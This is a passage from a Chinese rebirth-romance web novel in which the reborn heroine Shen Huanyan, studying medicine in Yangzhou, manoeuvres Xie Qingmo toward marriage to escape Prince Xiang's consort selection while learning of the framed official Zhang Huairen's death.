“夫……夫家?”她瞪圆了眼。
谢清墨扶着方桌站起,低沉的嗓音不大不小,“娘子若愿意……”
“且慢且慢!”沈欢颜慌忙起身,使劲拽住了他的衣袖往下扯。
谢清墨一个趔趄坐回了原位。
“郎君切莫再胡说……”沈欢颜抬头四顾,见周围热闹,并无人留意他们,便松了口气。
她蹙着眉轻声道,“郎君误会了,今日所言,只是诉几句肺腑,别无他意。郎君权当听个笑儿。”
“我……”谢清墨不知应如何表明自己的心意。
不过父母之命媒妁之言,无论今日他何等倾心,也得从长计议。
至少需等自己求取功名后,方能请母亲出面提亲。
沈欢颜见这情形便赶紧收敛了。
一面留意着他莫要再生事,一面暗自忖度着,自己这回算是捅了个大篓子。
本想着说这些或许能让谢清墨对经商先产生些兴趣。毕竟卫国公府家大业大,府库殷实,门生故吏遍及朝野,依赖世泽之厚,经商立业皆若顺水行舟,事半而功倍。
谁曾想他竟半分没顺着自己的意思来。
竟还真的在为自己思虑前程,倘若方才没有拦着他,岂不是要被当场求亲?
沈欢颜着实被他惊到了。
这还是她上一世认识的那个清冷寡欲,一心匡扶正道,视男女之情为绊脚石的谢清墨吗?
她想,这一世无论于他还是于己,究竟改变了多少,好像愈发扑朔迷离了。
*
自那日之后,谢清墨更加勤奋苦读,励志要在上将军府求亲之前考取功名。
寻常课余活动一概不参与,只有听到沈欢颜也要同去时,才会欣然前往。
当沈欢颜感受到谢清墨越来越不加掩饰的倾慕之情时,便知此事火候已成。
她想,往后她只管认真钻研医术,待不日学成归京,他家找上门来提亲时,再让爹爹娘亲狠狠退了那庚贴,让他失魂落魄,继而无心学业,落榜不第。
从此天高海阔,两人便再无瓜葛。
沈欢颜甚至就这么想着,都觉得愉悦。
转眼间,残暑尽,一叶已知秋。
这些日子,市井中流传着一件大事:扬州通判张怀仁张大人奉命调离扬州,赴益州任职,不日便启程。
张大人审案公平,为人清正,是个深受扬州百姓爱戴的好官。
大家本就不舍,又传说益州常有动乱,朝廷派过去的大多都是犯过错的官员,便都心中明白了……
这张大人恐怕是得罪了什么大人物……
益州本是富庶之地,大乱时期方能辟一片净土自给自足。
可大兴朝建立后,有一段时期益州被当成了朝廷的钱袋子,被掏空后引起民愤,起义屡平屡犯,无休无止。
直到当今圣上登基,才稍显改善,但至今官员们仍都谈“益”色变。
但张怀仁却觉得这是自己能得到的最好结果。
他上书后奏折石沉大海,可必然已惊动幕后之人,他本以为自己性命难保,然竟只是被调任。
前路如雾里看花,扑朔难测。
他知道,此事必然牵连甚广,想要触及其根本兼职难于登天。
但总要有人鸣于无声。
若无人敢出声,何以惕天下?
昏时,沈欢颜拿着包好的药出了济仁堂。她要去给张怀仁送药。
益州此途跋山涉水,她按照师父的叮嘱备足了疗常疾及折跌损伤的草药。
另一份药包是师父特配的方子,沈欢颜包的时候并未钻研出这方子究竟治疗何病。
师父只差她一同送去,并未多说。
至张府。张大人一家已收拾妥当,只余一些琐碎事务,即日便要启程。
沈欢颜把药包交予张府老管家,老管家把备好的银两塞给她,她并未推拒。师父也曾说张大人从不收受百姓钱财,只是命她瞒着张大人照半价算。
正欲走时,一穿着素色长衫的中年文士自远处快步走来,嘴上喊着,“小郎君请留步。”
沈欢颜站定,不知此人唤自己何事。
可仔细琢磨,她觉得这声音甚是耳熟。她天生就对声音敏锐。
此人和那日在李府书房前跪着那人声音几无二致……
她又仔细辨认了身形和五官轮廓。
当真是他!
“烦请郎君把此信转交张先生,小女腿疾这些年能恢复至此全靠张先生神医妙手,在下感激不尽。”张怀仁微弯了腰致谢。
沈欢颜忙接过。仅从老管家的神情便知眼前这位就是张怀仁张大人了。
几句寒暄过后,沈欢颜作揖告辞。刚出大门,身后便传来声响。
两位仆妇抬步舆经过,纱帷里隐约可见一妙龄少女,正往门外轿子抬去。
想来这便是张大人那位患有腿疾的女儿了。
因为腿部不适,张娘子从步舆换至轿中时需由仆妇背着,沈欢颜竟偶然间窥见这位娘子的芳容。
只那一眼,便让她呆愣在原地。
竟是应如意!
前尘旧事一股脑灌入她的脑中。当年谢清墨带应如意这孤女从益州返京后,她曾派人打探过消息。
得知这位身世可怜的娘子颇为美貌,跟画中走出的仙女一般。后来谢清墨常往她那去后,沈欢颜曾偷偷去看过她……
那时的应如意只堪堪坐着,就教人忘了移开眼去。那身影有一股子说不出的韵味来,腰身是极细的,细得让人担心风一来就要折了,背脊极直,清冷的眸子望你一眼像是要把前生今世的心事都道尽了。
这等美人……难怪让谢清墨魂都要被迷丢了。
那时竟不知她有腿疾。
“喂!那小厮,看什么看,走远点!”另一位仆妇看到了不远处站着看的沈欢颜,厉声呵道。
沈欢颜这才察觉不妥,连忙弯腰致歉,转身离开。
这应如意原来是张怀仁之女。
上一世应如意父亲在益州自缢,写了封托孤信给公爹,只知这家再无别的亲戚。
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又想到前些日子在李府所见,以及张怀仁为人为官的风评,是深受百姓爱戴的好官,不难怀疑其自缢的缘由是否与其他不可说的缘由有关。
而且这张大人不仅与李转运使是同窗,又与公爹是旧友……
沈欢颜凛然心惊。她隐约觉得,这些事中间一定有千丝万缕的关系。
只恨自己当年没有多关注谢清墨,只知他一直在暗中探查父兄身死之悬案,当中细节却一概不知。
*
待她走回济仁堂,天色已暗。隐约瞧见门口有一人来回踱步,却看不真切。
走近才认出那人正是方才扰乱自己思绪的始作俑者。
谢清墨身着天青色襕衫,腰间束着月白绞纹玉带,衣角被晚风撩起又落下。许是等得无聊,脚尖碾着地上的石子,时不时朝两侧眺望几眼。
有一邻家阿婆路过,笑着打量他,“小郎君,这是在等谁呢?”
他耳根微红,侧身让了让。
“等人。”声音清朗悦耳。
沈欢颜脚步微顿,心下迟疑了片刻,却还是转过了头,权当做没看到他般快步径直往里走。
“寰彦!”谢清墨在此候得半个时辰,怎可能让她回去,他快步上前扯住她的衣袖拦住她。
“郎君今日怎的又来了,我还有事务未毕,且容我改日再与郎君相叙。”沈欢颜说罢,拂了他放她衣袖上的手,欲转身离开。
“我不日便要返京了,来同娘子道别。”他的声音轻而缓地从身后传来,语气透着些不舍与无奈。
“返京?为何?”果然,这么一说,沈欢颜便转回身来。
他不是在朝定学院读的好好的,若再苦读一年,以他的资质,待明岁秋闱之时,中举岂不是如探囊取物一般?
“父亲有要事相交,不得已只得回去。”
谢清墨此行回京实则是要入资善堂作太子赵楷的伴读。
前些日子赵楷不知在哪学会了搏戏,圣上知道后大怒,清退所有资善堂现有伴读,重新选拔。
谢清墨自然是在推荐名单当中。
他见她面色平静,又补充道,“怕是不会再回扬州了。”
沈欢颜知他用意,却偏不点破,“祝郎君一路顺风,来年高中。”
未显出半分不舍。
他便急了,“我不是来讨吉言的,我是……”
“嗯?”
“我是……”他结结巴巴,“我是来请娘子……能否多等我两年。”
“若我高中,必来府中求娶!”
可算逼着他把话说出来了。
沈欢颜抿嘴一笑,轻声道,“婚事哪能由咱们自己说的算呀,郎君莫要为难我了?”
“妾身来年及笄后,父母自然是要为妾议亲,况且……”
她面露迟疑,眸子微动,似是有些犹豫。
“况且什么?”谢清墨着急道。
“况且家父是武将,平日最恶舞文弄墨的读书人……”她低下眉眼,有些为难地小声道,“郎君若能为了我……不再科考,弃了这士大夫的锦绣前途。”
“奴家便自然愿与你……”她向前一步,身子几乎快要贴上他的衣摆。
谢清墨眼神瞬间慌乱起来。
沈欢颜抬手扶上他的小臂,缓慢抬起脸来。
那眸子似是盛着春水,湿漉漉地看着他……谢清墨浑身僵直,仿佛被摄了心魄般一动不动。
一时间,他心上,春光潋滟,桃花盛开……
9. 红颜祸水
谢清墨红着脸,下意识退了半步。
前几日他收到京中消息,大将军沈毅将奉旨回京接管禁军。
此事与皇帝遣散资善堂伴读几乎同时发生……
伴读事情虽小,可突然更换禁军统领,却绝非寻常小事。
不说其中什么深的奥义,就只单说沈毅,就一定是皇帝极信任之人。
可从未听说,沈将军竟对读书人有如此偏见。
谢清墨眉头紧皱。
在沈欢颜看来,他此番反应也在意料之中,故而轻笑道,“倒是让郎君为难了。”
不再等他答复,她敛下眉眼,状似失望道,“妾身说的只是玩笑话,郎君只当没听过便是,等来日我们京中再叙。”
说罢,她颔首告别,不待他开口便转身进了济仁堂。
身后人再如何解释已无甚重要。
沈欢颜自知今日已使出了浑身解数……除了这张脸,她从来都与娇柔妩媚毫无关系。
就连上一世成婚后,她都不曾对谢清墨曲意逢迎过半分。
本想着来日方长,慢条斯理撒着饵,便可钓到谢清墨这条大鱼……可谁知他突然归京,打乱了她的算盘。
现在能做的只有预先铺垫些,待她日后归京时,他若还惦记着自己,必然要对此事做些取舍。
等到那时,他若仍是一心科考,就只得另做打算了。
谢清墨望着沈欢颜离开的背影独自怅然,他确实一时半会寻不来万全之策。
可心悦之人可遇不可求,就算两人相隔千里,也定然有法子沟通感情。
他现下就已盘算好回去找谁做这个媒人了。
只不过他总觉得沈娘子不喜他赴试科考,不单单因其父亲不喜文人行事。
真正原因应还是在于她自己,他隐约察觉每每闲谈只要提及功名,她眉宇间总有些许不快之意,好似他考取了功名,就要她应什么事一样……
这倒好生令人费解。
*
要说谢清墨回京这件事,最开心的人莫过于宋凌舒了。
自打她得知这个消息后就日夜盼着。
二表哥再不济,总能算得上一位可以疏解烦闷的同龄人。沈欢颜迟迟未归,退而求其次,自然也少了些挑剔。
于是,谢清墨前脚刚到,宋凌舒后脚便登门,以看望姨母为由,来到了卫国公府。
她已经迫不及待听表哥讲扬州那富庶繁华之地的所见所闻了。
恰巧表哥正在园里温书。
见她来,心情不错。便同她聊了几句,可一会儿突然话锋一转,竟提到了好友沈欢颜。
要知道,表哥从前从未对她的交友情况有任何关心。今日的探听着实让宋凌舒惊得下巴都要掉下来……
虽然他们同在扬州,可应该并无交集才对……
难道是欢颜确实遇到了什么难处,找表哥帮过忙?
“欢颜是碰上了什么事吗?”宋凌舒担忧道,确实有好些日子没收到她的书信了。
“没有,她很好。”不仅没有碰上事,反而适应的极好。
无论是亲表哥汪淮安还是远房表哥张济青,都整天围着她转,岂会不开心?
”沈娘子可有意中人?”谢清墨状似无意问道。
也就这一句,足以把宋凌舒的下巴惊掉。
原来二表哥在盘算这个啊……
宋凌舒蹙起了眉头,回想那时昌庆侯府婚宴时沈欢颜的反应,以及自己在书信中夸二表哥时,欢颜在回信里的不以为然。明显能看出她并不喜欢二表哥,反而在提及大表哥的事时总是颇有兴趣……
她当下判断,欢颜确实对二表哥无意。这可怎么办,感情之事也强求不得。
还是快刀斩乱麻,拖久了二表哥会更伤心的。
“她有……”
“哦?是哪家郎君,我可识得?”谢清墨心下沉了一瞬,这还真是个意想不到的答案,却还是挑眉问道。
宋凌舒眼珠子滴溜溜转着,已经说出口的话总不能收回吧……她一咬牙开始胡诌,“欢颜最喜像她父亲那般英武刚毅,果敢豪迈,富有阳刚之气的男子。”
“就……就大表哥那样的!”宋凌舒已不敢再与他对视,生怕泄露了心事。
对不住了欢颜,我只是让我二表哥死了这条心,旁的等你回来再解释!
“我时常会跟她讲大表哥的英勇事迹,她也倾慕已久。”宋凌舒见谢清墨没什么表情以为他不信,继续补充道,“她最讨厌文绉绉,附庸风雅又故作清高的文人,常说他们无聊又无趣……”
宋凌舒滔滔不绝地说着,已然忘了眼前这位就是才俊文人之代表。
直到谢清墨的脸越来越黑……
“她当真这样说过?”谢清墨抬眼,冷冷扫过宋凌舒。
“真……真的吧。”宋凌舒很少见二表哥这样严肃过。
她赶紧噤了声,不敢再多言。
谢清墨舒了口气,想要压住内心的暗流,故作轻松道:“没什么,只是在扬州偶然碰到她,随便问问。”
可面上却不似嘴上能耍硬逞能。
谢清墨整张脸绷着,双唇紧抿,眼神不快。
他站起身来,不欲多留,准备离开。不过刚走两步却又停下。
谢清墨没有回头,只交代道,“今日之事切莫与沈娘子提起。”
说罢便快步走了。
独留宋凌舒一人站着。
她想,二表哥一定是死心了,才会这样落寞。
也暗自吐槽好友真是红颜祸水……
*
残雪消融,腊尽春回,枝头含苞已立,只待一夜暖风,吹醒这大地。
可沈欢颜得到的消息,却让人心生寒意。
张怀仁死了。那个深受扬州百姓爱戴的通判张大人,赴任益州不足半载,便身死他乡……
着实令人唏嘘。
沈欢颜周身发寒,她不知事情从何时开始改变,可这变化并没有向好。
反而加了速般向着不可控的方向发展。
上一世公爹收到张大人托孤信时已是成平十一年,那时昭儿都已过了两岁生辰。
这一世明显不同,自己刚刚及笄,连成婚都还未提上日程。
张大人怎会今年就……
沈欢颜只得派人继续探查。
她来扬州已是第二个年头,有了上一世的经历,她深知即时消息的重要性。
遂不只在济仁堂学医,还求了母亲从中协调,联系上了管理母亲巨额嫁资的陪房管事薛掌柜。
由于汪家商通四海,利通八方,当年母亲分得的商铺、酒楼、田产也遍地开花。她协调薛掌柜在暗中帮她串联起了一条庞大的消息网。
得到的结论是,张怀仁果真是死了。
可蹊跷的是,张大人今世虽也是死于自缢,可竟被被冠上了一条“知谋反及大逆不告”的大罪。
说是民间有一戏班子,模仿天上仙人的着装扮相,在上元节灯会时聚众表演。
这本是寻常之事。
可却有人就此事上书朝廷,说当日灯会有人“披龙袍”,而张怀仁作为益州知州并未阻止,任这贼人犯“十恶”之首谋逆之大罪。作为责任官员其罪当诛。
明知这就是一条莫须有的罪名,可在群臣附议之下,皇帝无奈只得下令将张怀仁打入大牢,等候处置。
张怀仁是何等刚直之士,怎会就此认了这冤屈,却终是无可奈何,最终只能以死明志。
沈欢颜扼腕叹息之余,想到了张大人那位患有腿疾的女儿,
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也就是上一世被谢清墨带回的孤女应如意。
不知现在是何境地。
沈欢颜也是后来知道,应如意本名张雪薇,自幼丧母,一直同父亲相依为命。
也是个极可怜之人。
如今她父亲畏罪自尽,她比上一世还要早了四年去面对如此剥肤之痛。
按律还要沦为官奴,运气好些能分到涣洗院做苦役,运气差些则要沦为官妓,自此命薄如纸,芳魂无多……
真是可怜可叹。
可沈欢颜作为一介女流,除了感叹命运不公,终也无可奈何。
也许最终仍是谢清墨千里迢迢去做那个大恩人,张氏改名换姓,以身相许。
二人若终成眷属,自己也便再无需担忧赐婚之事。
也算了结了自己一大难题。
沈欢颜斜倚着窗子。半晌,她才动了一动手指,无意识地用铜杵继续捶打着药罐,一下又一下。
不知怎的,想到谢清墨与应如意有机会结成良缘之时,心中竟有些酸涩。
她停下了手上的动作,搅看着药罐里叶片,原本是舒展美丽、根茎分明的,可经历了捶打之后,便失去本来的面目,分不清哪里是叶,哪里是梗。
再也看不出从前的模样了。
*
正如沈欢颜所想,最终得到消息前去解救张雪薇的果真是谢家人。可这一世竟然换成了谢京策。
谢京策本从营中回家探亲,也是巧了刚进家门便赶上这么一个棘手又难办的差事。
也就和谢清墨匆匆见了一面便又离家了。
谢清墨盯着他来去匆匆的身影暗自失神。
自从那次听了宋凌舒的话以后,他时常怀疑自己难道真的不如大哥?
论样貌,论才学,他样样不输。
可如果论志向前程,他的确喜文,欲考取功名,行仁政治世;而大哥擅武,望立军功,收拾旧山河。
而她偏偏好武……谢清墨自嘲一笑。
罢了。虽然别人都说他们兄弟俩有六分像,但也只是像而已,他不愿委曲求全。
惟愿她能嫁予自己心上人,从此风清月朗,再无愁怨。
他望向窗外枝头上那一点绒白,不知何时,已悄悄绽了一线。
*
”阿嚏。”沈欢颜揉揉鼻子。
不知怎的,这已经是今日打的第十四个喷嚏。
许是父亲母亲又想她了。
“寰彦,你来。”张铎忽的叫她,语气有些低沉。
“来喽。”沈欢颜小跑过去,以为是师父要给自己安排活。
张铎手里拿了封信。
见她过来,把信递与她。
信很长,是母亲的笔迹。她接着往下看。
“你母亲叮嘱我不要告诉你实情。”张铎顿了顿,声音仿佛又苍老了几分,“可我觉得,终身大事,你心里得有个数。”
两个月前,襄王亲自领兵,只用月余便平定了南源州起义,立下大功。
事后,皇帝重赏。
襄王却嫌朝廷车马慢,带上家眷仆从,亲自上京讨赏。
他倒也不客气,除了皇帝允他的金银珠宝、绫罗绸缎一个不能少,他还向皇帝讨了在京的府邸,说是要为子孙后代讨“一处片瓦”安身。
最要紧的是他还请求皇帝为他选一位王妃随他一同南下。
自打十年前襄王妃病故,襄王便心如枯井,鳏居至今。
皇帝听他这要求并不过分。便要谢皇后整理一份名册,择日在宫中举办一场“春日宴”。
实则是让襄王相看选妃。
皇后懿旨道,“凡京中世家,有女待字闺中者,无论嫡庶,悉令入宫,不得有违。”
沈欢颜看了这信便再也笑不出来。
10. 大事不妙
沈夫人在信中的意思是先瞒着女儿,只告诉她家中有事需速速归京。
其实是早已挑好几个青年才俊,就等她回去赶紧相看,早早定下了婚事便不必蹚皇室那趟浑水了。
沈欢颜明白师父的用意,他知道自己是个有主意的,无论嫁或不嫁,或嫁给谁,他都想让她自己考量。
“徒儿谢过师父。”沈欢颜面对张铎跪下,磕了两记响头。
一是拜谢师恩,此次回京定是没有回头路了。二是叩谢他作为长辈并没有对自己有所隐瞒,而是尽可能给自己多留时间去权衡。
离开济仁堂,沈欢颜只顾得上回了一趟汪府。外祖母一家得知此事给她安排好了回京的车马和船只。
码头边,汪淮安欲言又止。
沈欢颜知道一定是舅父命他不许告诉自己内情。
“放心吧表哥,我早就知道了。”她笑着宽慰他,“我知其中利害,也不会忤逆家里的安排。”
“只不过,我也想自己争取一下。”她抬眼看来,眸光清亮,如山涧初融的雪水一般,清冷澄澈。
分明只是刚及笄的少女,汪淮安却觉得,这双眼睛仿佛已历尽千帆,笃定得让人心惊。
“一切小心就好。”千言万语化成一句话。
沈欢颜就这样踏上了回京的路。
不似来时的活泼欢快,因为有了心事,归程显得难熬又漫长。
船行五日,沈欢颜瘦了一圈。
“娘子,吃块糕罢。”晴茵把食盒推过来,里头装了芙蓉酥,是她平日里最喜爱的糕点。
沈欢颜摇头。
晴茵张了张嘴,还是把话咽了去。
娘子都与她说了,这此回京,横竖都要出嫁了。
除了嫁给谁尚未可知,旁的都再无回旋的余地。
傍晚,船过了泗州,入了汴河。
晴茵端着粥,看向对着舷窗发呆,喊了几声也没有回应的自家娘子。
叹了口气,只得把碗又收了回去。
两岸灯火影影绰绰,月影碎在河里,一片一片。
“娘子,起风了。”晴茵又拿了件披风搭在她肩上。
沈欢颜没动,只问:“到哪了?”
“再有三四日便能到京城。”晴茵答道。
三四日。
沈欢颜垂下眼,知道自己该做决定了。
这几日她反复思考这一世发生的事。
先是谢清墨赴扬州读书,再是自己与他一同在李府撞见张大人,然后张大人身死益州,襄王提前北上,又要在世家大族里选妃……
就连自己的父亲,也不知为何突然被调任禁军统领。
这些都是较上一世发生了极大变数或根本从未发生过的事。
如果按这样推算,或许卫国公府的变故也会提前。
上一世自己活的太短,尚未知其全貌便玉殒香消,但她隐隐觉得,能将树大根深的卫国公府近乎连根拔起的神秘力量,一定强得可怕。
甚至可能牵扯到皇权。
若真是如此,他们所有人最终都只会是政治斗争的牺牲品,不仅是卫国公府,连自己的父亲都不能幸免,最终必将卷入其中……
而在这些不确定中,她唯一能确定的是:在所有选项里,只有谢清墨一人是最合适的夫君人选。
她了解他的品行,也知晓他的抱负与追求。上一世公爹与夫兄也都是极好之人,无论为官还是为将,一颗心全掰给了百姓。
她愿努力一试,倘若卫国公府能够保而全之,于沈家,于大兴,都是百利而无一害的好事。
更何况上一世的谢清墨心思深沉,为官做事滴水不漏,满肚子全是心眼,是颇有城府的。这一世纵然年华尚早,可刻在骨子里的为人秉性终究是改不了的。
若一同谋事,会是一个极好的搭档。
总而言之,嫁与谢清墨,只要不碰“情”之一字,余生皆可煮雪煎茶,平淡地过着。
他给不了的,她不求便是。
再不济也总比跟了年逾半百的襄王南下,从此与亲人天涯永隔了强。
沈欢颜释然般吐了口气。
也就片刻功夫,船头忽然一转,河面竟豁然开朗了起来。
月光没了遮拦,便毫无顾忌地倾泻下来。水声也比白日清晰了许多。
沈欢颜低下眉眼,抚了抚腕上的念珠,半晌开口道,“晴茵,把粥拿来罢,我饿了。”
*
谢清墨前些日子也听说了襄王选妃一事。
好在谢家女眷中只有祖父庶出那一支有一位待嫁表妹,其余均不符合名册要求。
不过,这“赏花宴”的由头也是妙。要赏的是“花”,那就必须等花都开全了才能办。
说起来也是谢皇后开恩,这么做就是要给世家大族们多留些斡旋的时间。
谢清墨知是姑母心善,同是女儿身,她最是知道嫁与皇室的无奈与心酸。
更何况这还是要给襄王那老家伙做续弦!谢皇后实在不忍这些娇娇女儿家受这等委屈。
心中对襄王也满是鄙夷。
于是干脆睁一只眼闭一只眼,除了把年龄限制在及笄往上,收集名帖的时间也一推再推。
胆子大、宠女儿的世家便都在这期间偷偷给女儿定下了亲事。
谢清墨本以为此事与自己无关。
可这几日母亲频繁遣人来唤,也不知是何事。
今早他只能告了假去母亲房里请安。
“近日课业缠身,竟不得归家探望母亲。孩儿不孝,劳母亲挂念了。”谢清墨一进屋便先说自己的不是。
卫国公夫人王氏听儿子这样说,哪还能有什么脾气?
自己整日闲着,儿子可不是。
当太子的伴读,可不是上寻常学堂读书……是既要与他交好,又要时刻守着君臣边界;既要让他引为心腹,又要藏好自己的七窍玲珑心;既要饱读诗书,又不能盖了他的风头。
哪怕作为他的表哥,也是半步都错不得。有时候一步之差,便是万丈深渊。
“要不是有要紧事我也不会着急找你来。”国公夫人赶紧端起手边的茶啜了一口,似是要先给自己压压惊。
她拢了拢衣袖,声音转而放低道:“户部尚书府陈家二娘子你幼时也见过,今日她母亲来,我们聊的投机……”
谢清墨听出了这话有弦言外之音,“母亲您直说便是。”
王氏也不再拖泥带水,破罐子破摔道,“我给你相看了一门亲事,就等你点头了。”
谢清墨皱眉,他早该想到的。
现在京城世家遍地都在嫁女儿,以自己簪缨世家的门第,怕是媒人把他家门槛都要踏破了。
自打在沈欢颜那踢了铁板以后,谢清墨心中便再无男女之事了。
他沉默了一瞬,望向国公夫人慢声道,“母亲何须如此着急,秋闱在即,儿子正想全力一博呢,若此时分了心……”
话没说完,他便走到王氏
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身边,抬手为她斟了茶,笑道,“母亲疼我,便再容我些时候,等儿子中了进士,风风光光去提亲,岂不更好?”
“你啊你……”王氏无可奈何。
她这两个儿子,大的马上功夫,小的笔下文章,名满京城。旁人都道她好福气,可偏生没一个听话的!
是一个赛一个的优秀,但也是一个赛一个的有主意。
就说这门亲事,她好不容易挑的,大儿子以戍边为由拒了,儿子又以苦读为由否了……
王氏扶着额角,终究只是叹了口气。
“罢了。”窗外鸟声啾啾,她却什么也不想说了。
半晌,只摆了摆手,示意谢清墨可以退下了,免得再生些闲气。
谢清墨也乐得轻松,跟母亲告辞后转身就走。
“表哥!”一道清亮亮的女声在门外响起。
人未到,声先闻。
谢清墨和王氏同时看向门外。
是宋凌舒,她这莽莽撞撞的性子也不知何时能改。
“姨母。”宋凌舒看姨母深情倦怠,立马关切道,“姨母你怎么了,我二表哥又气您了?”
“……”
谢清墨此时就恨选妃年龄限制到及笄以上。要不然让宋凌舒南下也不失为一个好主意。
至少自己耳根子能清净了。
他瞧着宋凌舒没什么事,转身要走,可不等步子迈开就又被喊住,“表哥,我有一件大事要与你说!”
宋凌舒眉飞色舞。
谢清墨没听见似的继续往外走。
“欢颜要回来了!”眼看他就要走出门去,宋凌舒连忙喊。
谢清墨脚步顿住。
片刻,他低声说:“她回来与我何干。”
然后大步迈出了房间。
独留话还没说完的宋凌舒,憋在嗓子眼里,别提多难受了。
毕竟是自己生的儿子,王氏立马看出了端倪,她眼睛一转,心想有戏。
她笑着抚上外甥女的纤纤玉手,拉至自己身旁坐着,“来吧,与姨母好好说说,欢颜是谁?”
*
谢清墨越想越气,自己方才竟又失了分寸。
这沈欢颜到底对自己施了什么媚术,只要一提她,自己就跟换了个人似的。
她回京了?
可她回京又跟自己有什么关系?
打住!
谢清墨又烦躁起来。他重重地摇了摇头,想把这些混乱的思绪甩掉。
打定主意今日回去就要重抄《礼记》……
还要去宫里,谢清墨刚走出大门,眼前出现的人着实让自己心头一惊。
这时辰,国公府门前车马渐多,日光白晃晃地照在石阶上,她就站在那一片暖光里。
粉白的褙子,月白的裙,发间一支檀木簪,素净得不像话。
“你……”谢清墨的声音从喉咙溢出。
“怎么,换上女儿家的装扮不认识了?”沈欢颜转了个圈,向他展示着,“或是我穿的太素?”
“我舅夫说,赶路还是要穿的朴素一点,省的被贼人盯上。”她语气软下来,撅嘴撒娇道,“要不是着急来找你,我便回府换身衣服了。”
见他还是不说话,沈欢颜心里开始打鼓。
自己上次说那些也不至于这种反应吧?明明说的是父亲不喜文人……
“郎君还在怪我?那我走便是。”说完便背过身要走。
“等等。”谢清墨喊住了她。
11. 芙蓉花下
谢清墨不得不承认,从第一次见沈欢颜自己便有别样感觉。
梁潜成婚那日,锣鼓喧天,人声鼎沸。周遭那么多人,那么多双眼睛,他却什么都看不见,眼里只余那一抹青绿。像是拨开重重山水,终于渡到他的面前……
有一种说不清道不明,恍如隔世的熟悉感。
说出来不怕让人笑话,谢清墨当真觉得,若有前世,自己一定见过她。
如今明知她对自己并无真心,明知她今日来找自己别有所图,却还是出声喊住了她。
不知是为关于前缘的痴念,还是为见色起意的贪念。如今便也无所谓了。
“娘子找我有何事?”沈清墨淡声道。
沈欢颜开门见山:“不知郎君有无听说襄王选妃那事。”
她敛了眸子里媚,神情多了份严肃。
谢清墨点头轻“嗯”了声,等她继续说。
“我不想嫁给他。郎君可否帮我?”她又靠近了两步,双眼直直看进他冷淡的眸子。
谢清墨忽而想到表妹曾说的,沈欢颜心悦大哥的话,当即心下一沉。
“我大哥的主我做不了。况且他探亲假不余几天,前几日又出了京,不知何时才能见到。”
他顿了顿,又道,“若娘子真有意,我母亲今日在……。”
他说着,一手抬起,好像真打算引着他去见国公夫人。
沈欢颜一愣,忙推了推他的手腕。
谢清墨这才反应过来,自己行事又莽撞了。就算再急,也需她先回去禀了父母,再由将军夫人出面更为妥帖。
“抱歉。”他眉头紧皱。
沈欢颜“噗”的一声笑了,抬了眸子眉眼含笑地看着他,轻声道,“郎君慌什么。莫非这么着急给自己添个嫂嫂?”
谢清墨喉结动了动,想说什么,又咽了回去。
自知她若是已认定了大哥,定是有法子办到的。
自己又多管什么闲事。
“此事在下爱莫能助,娘子再想别的法子吧。”
沈欢颜眨了眨眼,看向他的侧脸,睫毛低垂,双唇紧抿着。
失落怕是都要从眼角眉梢漏出来了,竟还在嘴硬。
“郎君。”她唤他。
他抬起了头。
沈欢颜迎着他的目光,忽然弯了弯嘴角,慢悠悠从身后拿出了一只狭长的锦盒,递过去。
“什么?”
“回程时在瓜洲耽搁了半日,闲逛时瞧见的。”
谢清墨接过锦盒,打开一看。
里头躺着一支笔搁,通体青灰又泛着一丝苍碧,像是雨后的竹色。状似一截竹根斜斜地卧着,竹节分明,节上生出一枝细竹,竹叶三两片,叶尖微微翘着。
妙的是那竹根边还伏着一只小小的蝉蜕,栩栩如生,活灵活现。
他抬头看向沈欢颜,“这……”
沈欢颜笑着,偏左顾而言他,“这是瓜洲石,是江里捞上来的,阿婆她男人会雕,我瞧着好看便买来。”
“我知你喜竹,你那袖口,衣襟上总是绣着……”她又补充道。
这一世沈欢颜其实并无关注他的衣着,全凭着上一世的记忆选了这件。
“不是——”,谢清墨有些急,“我是说……”
他心里涨的满满的,酸酸软软,说不清是何滋味。
她在瓜洲买了这笔搁送他,究竟是何意。
他急需她说些什么,什么都好。
“那我便直说了。”
不再是方才蜻蜓点水地看,这一次她一眨不眨地望着他。那目光直直的,像一根看不见的丝线缠在他心上。
“我想嫁的——”她嘴角弯起,“不是你大哥,是郎君你。”
仅这一句,那根丝线倏得在他心上拉紧,再也挣不开了。
谢清墨站在那里,像被定住了。他手里攥着那锦盒,指节发白。
“好了,我已经说完了。”趁他怔愣间,沈欢颜慢慢靠近,在他耳边轻声道,“若郎君有意,我且等着你前来迎娶。”
说罢便后退两步,轻盈一旋,快步跑回了自己的马车。
他看她玉手轻轻掀起珠帘,眸子里淬着清亮的光,声音含着笑。
“郎君可别太迟了。”
此时他眼中哪还有什么只求功名的清心寡欲。
更像是冰封了一整个冬日的河,忽的听见春雷,哗啦啦地全裂开了。
*
“晴茵,我想吃东巷的芙蓉酥。”
沈欢颜心情大好,她对自己今日表演甚为满意。
到底有了些年纪以后,脸皮什么的便都不在意了。
“娘子当真要选谢家二郎?”晴茵与她说话向来随便。
上一世晴茵极其看不惯谢清墨整日心系公务冷落她的行事风格,常常在她身边抱怨,替她不值。
看来这一世自己再嫁国公府,晴茵多半又要对这位姑爷颇有微词了。
“你又有意见了?”沈欢颜打趣道。
“晴茵不敢,只是坊间都传,这谢家二郎最是擅长口头笔下功夫,不是什么务实的。”晴茵虽说着不敢,可脱口而出的话却胆大极了。
“娘子何不考虑谢家大郎。听说他英勇神武,有人亲眼见他冲阵,那刀法架势,颇有他曾祖父当年之资,将来必成大器。”
“你这都哪听的啊。”沈欢颜笑道。
“娘子莫要不信,况且谢家大郎又有世子爵位在身,嫁他将来是要做国公夫人的,那时何等的尊荣啊……”晴茵越说越起劲。
“咳……”沈欢颜若不打断她,估计要把谢家大郎夸上天去。
“那你想想,他如此这般骁勇善战,倘若真成了我夫君,每每上阵我不都要担惊受怕。”沈欢颜说的也是实情。
“我可不想像母亲那样,家里有父亲一人让我们担心便够了。”
马车停下,沈欢颜知已到了东巷,她便赶紧撵了晴茵下车去买芙蓉酥。
晴茵临下马车前依旧絮絮叨叨,“那谢家二郎生的如此美貌,听说又巧舌如簧的,我怕您嫁过去受委屈不是吗。”
“行了,我自己有主意,快去吧。”沈欢颜都被她气笑了。
晴茵自幼与自己一同长大,又比自己年长。除了母亲,就属她最不愿看到自己受委屈了。
自己又是个粗线条的,晴茵便只得整日苦口婆心的,小小年纪操碎了心。
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若说这国公夫人,没当过的旁人总会觉得艳羡,可从不知这尊荣背后要背负多少。
每日起得比鸡还早,梳妆完毕就要去给婆母和老夫人请安,行礼、奉茶一个不能少,若逢朔望、节庆,礼数更要加倍。
自己也就怀着昭儿身子重时,才免了些日子的晨昏定省。
